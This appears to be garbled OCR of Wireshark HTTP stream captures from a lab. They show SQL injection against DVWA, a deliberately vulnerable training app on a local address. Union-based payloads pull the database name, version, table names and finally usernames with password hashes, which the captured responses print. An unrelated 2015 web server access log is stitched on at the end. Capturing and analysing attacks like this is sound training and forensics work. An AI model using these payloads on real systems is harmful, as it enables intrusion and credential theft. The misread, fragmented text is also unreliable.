g ki /Sl iniart i - - - - o

Entire conversation (6532 bytes) -

(OAscl ()EscOC  (HexDump  ()CAmays  (9)Raw

BB er out Ths tream || * Close
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A

Follow HTTP Stream (tcp.stream eq 3)
Stream Content

.<div class="vulnerable_cod

\.<form action="#" metho
<>

User 10:

<input type="text” size='15" name

<input type="submit" nam

_area”>
e

“ides
“Subnit® valu

“Submit”>

adnin</pres<pre>I0: 1' or

unton select database(), user()#<br />First
Gordons<br />Surname: Browns</pre><pre>ID: 1' or 1=1 union select database(), user
)#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select database
), user()#<br />First name: Pablo<br />Surname: Picasso/pre><pre>ID: 1' or 1=1 union
Eclect database(), user()#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or
union select database(), user()#<br />First name: dvwa<br />Surnam
localhoct</pre>

.<h2>More Information</h2>

L<ul>
_.<li><a href="http://wn.securitean. con/securityreviews/SOPONIPTGE . htnl"
target="_blank">ht1,

/s securitean. com/securityreviews/SDPONLP76E. html</a</li>
. -<li><a href="http:

://en.wikipedia.org/wiki/SQL_injection” target="_blank">https://
on wikinedia arn/wiki /S0l iniertinne/asc/lis

Entire conversation (6532 bytes)

QFnd | Toavers | Bermt  Oascl  (OEDC  OHexoump  ()CAmays  (8)Raw

Help

[FFilter Out This Stream X Close
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A Follow HTTP Stream (tcp.stream eq 4) e
Stream Content

GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%301+union+select+nul 1%2C+version+28%29%
2385ubmi t=Submit HTTP/1.1

Host: 10.0.2.15

User-Agent: Mozilla/s,0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/htnl,application/xhtnl+xnl,application/xnl;q=0.9,/%;q=0.8
Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1%27+0r+153D1+union+select
+database%28420%2C+us er426%20%2365ubmi t=5ubmi t

Cookie: security=low; PHPSESSID=nl2n7dotdrem6kondisg2us1s7

Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTP/1.1 200 0K

Date: Mon, 06 Feb 2017 14:20:41 GHT
Server: Apache/2.4.18 (Ubuntu)
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragna: no-cache

Vary: Accept-Encoding
Content-Encoding: gz1p

Content-Length: 1536

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

Entire conversation (6543 bytes) ~

&3

Qrnd | Tsavens | Eeane |Oascl  (QEBeoc  OHexbump  ()CAmays  (8)Raw

Help. Filter Out This Stream ¢ Close
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A Follow HTTP Stream (tcp.stream eq 4) + 0

tream Content

<div class="body_padded">
_<h1>Vulnerabilify: SQL Injection</hl>

\.<form actio
<>

“User 10:

I<input type="text!

I<input type=submi

o>

. .</form>
_i<pre>ID: 1' or [l union select null, version ()#<br />First name: admin<br /
Surname: admin</pre<pre>ID: 1' or 1=1 union select null, version ()#<br />First name
Gordons<br />Surname: Brown</pre><pre>ID: 1' or 1=1 union select null, version ()#<br /
First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select null, version
()#<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select
null, version ()#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1
union select null, version ()#<br />First name: <br />Surname: 5.7.12-Oubuntul.l</pre>
L</div>

.<h2>More Information</h2>
<ul>

Entire conversation (654 bytes) -

Qe

(OAscl ()EscOC  (HexDump  ()CAmays  (9)Raw

BlHe BB er out Ths tream || * Close
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A Follow HTTP Stream (tcp.stream eq 4) e

Stream Content

Zdiv class="body_padded">
_<hl>Vulnerabilify: SQL Injection</hl>

.<div class="vulnerable_code_area">

..<form action="#" method="GET">
<p>
“User 10

.<input type="text" size="15" nam
Submit”>

"</ Torn>
i<pre>ID: 1' or 1=1 union select null, version ()#<br />First name: admin<br /
Surname: admin</pre><pre>ID: 1' or 1=1 union select null, version ()#<br />First name
ordon<br />Surname: Browns/pre><pre>ID: 1' or 1=1 union select null, version ()#<br /
First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1=1 union select null, version
)#<br />First name: Pablo<br />Surname: Picasso</pre><pre>ID: 1' or 1=1 union select
ull, version ()#<br />First name: Bob<br />Surname: Smith</pre><pre>ID: 1' or 1=1
nion select null, version ()#<br />First name: <br />Surname: 5.7.12-Oubuntul.l</pre>
</div>

.<h2>More Information</h2>

L<ul>
Entire conversation (654 bytes) -
QFnd | Tsavers | Berm Oascl  (OEBCDC  (OHexDump  ()CAmays

@t () Fiker Ot This Stresm % Close
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A Follow HTTP Stream (tcp.stream eq 5)

Stream Content

GET /dvwa/vulnerabilities/sqli/?i

+information_schema. tables%2365ubmit=submit HTTP/1.1

Host: 10.0.2.15

User-Agent: Mozilla/s,0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/htnl,application/xhtnl+xnl,application/xnl;q=0.9,%/*

Accept-Language: en-US, en;g=0.5
Accept-Encoding: gzip, deflate

.8

1e| &

%27+0r+1%3D1+union+selectnul 152C+ table_name+from I

Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1%27+or+153D1+union+select+nulls

2C+version+%28%29%2385ubmi t=Submit
Cookie: securit
Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTP/1.1 200 0K

Date: Mon, 06 Feb 2017 14:21:51 GHT
Server: Apache/2.4.18 (Ubuntu)
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragna: no-cache

Vary: Accept-Encoding
Content-Encoding: gz1p

Content-Length: 3650

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

Entire conversation (45686 bytes)

ow; PHPSESSID=ml2n7dot4remskendiss2usls?

Qnd | Bsaveas | Beom | Oasan

Help

(Oscoc () Hex oump

[ Fiter Out This stream

O c Arrays

(@ Raw

3¢ Close
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A Follow HTTP Stream (tcp.stream eq 5) + 0

tream Content

information_schena. tablesk<br />First name: <br />Surname: INNODB_SYS_TABLES</pre<pre>ID: 1' or 1=1
union select null, table_name from information_schema.tables#<br />First name: <br />Surname:
INNODB_SYS_FIELDS</pre><pre>ID: 1' or 1=1 union select null, table_name from

information_schena. tables#<br />First name: <br />Surname: INNODB_CMP_PER_INDEX_RESET</pre><pre>ID: 1' or
1=1 union select null, table_name from information_schema. tables#<br />First name: <br />Surname:
INNODB_BUFFER_PAGE</pre><pre>ID: 1' or 1=1 union sélect null, table_name from

information_schena. tables#<br />First name: <br />Surname: INNODB_FT_DEFAULT_STOPWORD</pre><pre>ID: 1' or

1=1 union select null, table_name from information_schema, tables#<br />First name: <br />Surname:
INNODB_FT_INDEX_TABLE</pre><pre>ID: 1' or 1=1 union select null, table_name from

information_schema. tables#<br />First name: <br />Surname: INNODB_FT_INDEX_CACHE</pre><pre>ID: 1' or 1=1
union select null, table_nane fron infornation schena. tablesi<br />First nane: <br />surname:
INNODB_SYS_TABLESPACES</pre><pre>ID: 1' hle_nane from
information_schema. tables#<br />First n[ g wi uhar 3 e RICS</pre><pre>II
select null, table name from informatio et <br />Surname:
INNODB_SYS_FOREIGN_COLS</pre><pre>ID: 1 ble_name fron

information_schena. tables#<br />First n EM</pre><pre>ID: 1' or 1=1 union
select null, table name from informatio me: <br />Surnam
INNODE_BUFFER_POOL STATS</pre><pre>ID: lable_name from
information_schena. tables#<br />First n| COLUMNS</pre><pre>ID: 1' or 1=1
union select null, table_name from infornation_schena.tables#<br />First name: <br />Surnam
INNODB_SYS_FOREIGN</pre><pre>ID: 1' or 1=1 union select null, table_name from
information_schema. tables#<br />First name: <br />Surname: INNODB_SYS_TABLESTATS</pre><pre>ID: 1' or 1=1
union select null, table_name from information_schema,tables#<br />First name: <br />Surname: guestbook</
pre><pre>ID: 1' or 1=1 union select null, table_name from information_schema.tables#<br />First name:

<br />Surname: [EFTgi</pre><pre>ID: 1' or 1-1 union select null, table_name from

1' or 1=1 union

find text: | users|

Entire conversation (45686 bytes)

Qrnd H Fsave As H

) asci (O escoic ) Hex Dump Ocamays

Help BB er out Ths tream || X close
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A Follow HTTP Stream (tcp.stream eq 5) [E-Naixs

tream Content

information_schema. tables#<br />First name: <br />Surname: INNODB_FT_INDEX_CACHE</pre><pre>ID: 1' or 1=1
union select null, table_name from information_schema.tables#<br />First name: <br />Surnam
INNODB_SYS_TABLESPACES</pre><pre>ID: 1' or 1=1 union select null, table_name from
information_schema. tables#<br />First name: <br />Surname: INNODB_METRICS</pre><pre>ID: 1° or 1=1 union
select null, table name from information_schema. tables#<br />First name: <br />Surname
INNODB_SYS_FOREIGN_COLS</pre><pre>ID: 1' or 1=1 union select null, table_name from

information_schema. tables#<br />First name: <br />Surname: INNODB_CHPMEN</pre><pre>ID: 1' or 1=1 union
select null, table name from information_schema. tables#<br />First name: <br />Surname
INNODB_BUFFER_POOL_STATS</pre><pre>ID: 1° or union select null, table_name from |

information_schena. tables#<br />First name: <br />Surname: INNODB_SYS_COLUMNS</pre<pre>ID: 1' or 1=1
union select null, table_name from information_schema.tables#<br />First name: <br />Surname
INNODB_SYS_FOREIGN</pre><pre>ID: 1' or 1=1 union select null, table_name from

information_schena. tables#<br />First name: <br />Surname: INNODB_SYS_TABLESTATS</pre><pre>ID: 1' or 1=1
union select null, table_name from information_schema, tables#<br />First name: <br />Surname: guestbook</
pre><pre>

/pre><pre>ID: 1' or 1=1 union select null, table_name from
information_schema.tables#<br />First name: <br />Surname: columns_priv</pre><pre>ID: 1' or 1=1 union
select null, table name from information_schema, tables#<br />First name: <br />Surname: db</pre><pre>ID
1' or 1=1 union select null, table_name From information_schema.tables#<br />First name: <br />Surname
engine_cost</pre><pre>ID: 1' or 1=1 union select null, table_name from information_schema. tablest<br /
First name: <br />Surname: event</pre><pre>ID: 1' or 1=1 union select null, table_name from
information_schena. tables#<br />First name: <br />Surname: func</pre><pre>ID: 1' of 1=1 union select
null, table_name from information_schema.tables#<br />First name: <br />Surname: general_log</
pre><pre>ID? 1' or 1=1 union select null, table_name from information_schema.tables#<br 7>First name
<br />Surname: gtid_executed</pre><pre>ID: 1' or 1=1 union select null, table_name from

Entire conversation (45686 bytes) ~

Qrnd ‘H Esave as H

Oasci (O escoic (O Hex bump Ochmays @raw

[ er out Ths Sream || % Close
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A Follow HTTP Stream (tcp.stream eq 6)

Stream Content

NONERES

GET /dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+union+select+usert2C+password+from

rusers%23&submit=submit HTTP/1.1
Host: 10.0.2.15

User-Agent: Mozilla/s,0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/htnl,application/xhtnl+xnl,application/xnl;q=0.9,%/*

Accept-Language: en-US, en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/?i

2C+table_name+from+information_schena, tables236Submi t=Submit

Cookie: Security=low; PHPSESSII
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 0K

Date: Mon, 06 Feb 2017 14:22:49 GHT
Server: Apache/2.4.18 (Ubuntu)

Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragna: no-cache

Vary: Accept-Encoding

Content-Encoding: gz1p

Content-Length: 1673
Keep-Alive: timeout=
Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

Entire conversation (7186 bytes)

L2n7dotarenskondis82us157

.8

527 +0r+1%301+union+select+nulls

Qnd | Bsaveas | Beom | Oasan

Help

(Oscoc () Hex oump

[ Fiter Out This stream

O c Arrays

3¢ Close
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A Follow HTTP Stream (tcp.stream eq 6) + 0

tream Content

<div class="body_padded"
.<h1>Vulnerabilify: SQL Injection</hl>

.<div clas
\.<form actio
<>
User T0:
<input type='text® si
11l i<input type="submit*
L

Find text

. .</form>
_i<pre>ID: 1' or [l union select user, password from users#<br />First name: admin<br /
Surname: admin</pre><pre>ID: 1' or 1=1 union select user, password from users#<br /
First name: Gordon<br />Surname: Brown</pre><pre=ID: 1' or 1=1 union select user
password from users#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1-1
union select user, password from users#<br />First name: Pablo<br />Surname: Picasso</
pre><pre>ID: 1' or 1=1 union select user, password from users#<br />First name: Bob<br /
Surname: Smith</pre<pre>ID: 1' or 1=1 union select user, password from users<br /
First name: admin<br />Surname: Sf4dcc3bSaa765d61d8327debss2cf99</pre><pre>ID: 1' or
1=1 union select user, password from users#<br />First name: gordonb<br />Surname
£99a18¢428¢b38d51260853678922603</pre><pre>I: 1 or 1=1 union select user, password

DAscl  ()EBCDIC () HexDump () CAmays

BB er out Ths tream || * Close
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A Follow HTTP Stream (tcp.stream eq 6) [T

Stream Content

GET">

*15" nam

Submit”>

TTITOF 101 UNION SCTCCT USer, Paseword TTOM USCrSTobr /oTIrSt name: aamin<br
-Surnane: adnin</pre><pre>ID: 1' or 1=1 union select user, password from users#<br /
-First name: Gordonsbr />Surname: Browns/pre><pre=ID: 1' or 1=1 union select user
password from users#<br />First name: Hack<br />Surname: Me</pre><pre>ID: 1' or 1-1
union select user, password from users#<br />First name: Pablo<br />Surname: Picasso</
pre><pre>ID: 1' or 11 union select user, password from users#<br />First name: Bob<br
surnane: Smith</pre><pre>ID: 1' or 1=1 union select user, password from users#<br /
-First name: adnin<br />Surname: Sfddcc3bSaa765d61d8327deb8g2cf99</pre><pre>In: 1' or
-1 union select user, password from users#<br />First name: gordonb<br />Surname
e00a18c428ch38d5260853678922603</pre><pre>ID: 1' or 1=1 union select user, password
from users#<br />First name: 1337<br />Surname: 8d3533d75ae2c39667e0d4fcc69216b</
pre><pre>ID: 1''or 1=1 union select user, password from users#<br />First name
pablo<br />Surname: 0d107d09fSbbed0cade3deSc71e9e9b7</pre><pre>I: 1' or 1=1 union
select user, password from users#<br />First name: smithy<br />Surname

S fadccabsaayesds1ds327debssac oo pre>

Entire conversation (7136 bytes)

Qrnd | Tsavens | Eeane |Oascl  (QEBeoc  OHexbump  ()CAmays  (8)Raw
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(B Terminal - analy:

Tiny Tiny RSS/1.11 (http://tt-rss.org/)
215.30.103.62 - - [04/Jan/201: 9:26 +0000] "GET /blog/geekery/ jouery-|
interface-puffer.html%zOtarget= HTTP/1.1" 200 202 "-" "Sogou web spider/4|
.0(+http: //www . sogou . com/docs/help/webnasters , htm#07
215.30.103.62 - - [04/Jan/2015:05:29:48 +0000] "GET /blog/geckery/ec2-res|
erved-vs-ondemand .html HTTP/1.1" 200 11834 "-" "Sogou web spider/4.0(+htt]
o/ /wn . sozou . com/docs/help/webnasters . htm#07) "
66.249.73.135 - - [04/Jan/201: 0:06 +0000] "GET /blog/web/firefox-scri
011ing—Fix.html HTTP/1.1" 200 5956 "Mozilla/5.0 (iPhone; CPU_iPhone O
5 6_0 like Mac 0S X) ApplellebKit/536.26 (KHTML, like Gecko) Version/6.0 M
obile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.gool
gle . con/bot .hitml) "
26.1.76.62 — - [04/Jan/2015:0 7 +0000] "GET /projects/xdotool/ HTTP/|
1.1" 200 12292 "http://uww.haskell.org/haskellwiki/Xmonad/Frequently_askel
d_questions” "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Geckno/20140205 Fir)
eF0x/24.0 Tceweasel/24.3.0
86.1.76.62 - - [04/Jan/2015:05:30:37 +0000] "GET /reset.css HTTP/1.1" 200)

1015 "http://www.semicomplete.com/projects/xdotool/" "Mozilla/5.0 (x11;
Linux_x86_64; rv:24.0) Gecko/20140205 Firefox/24.0 Iceweasel/24.3.0
86.1.76.62 - - [04/Jan/2015:0 7 +0000] "GET /st css HTTP/1.1" 20f
0 4877 “http://www.semicomplete.com/projects/xdotool 02i11/5.0 (X11;

Linux x86_64; rv:24.0) Geckn/20140205 Firefox/24.0 Iceweasel/24.3.0"
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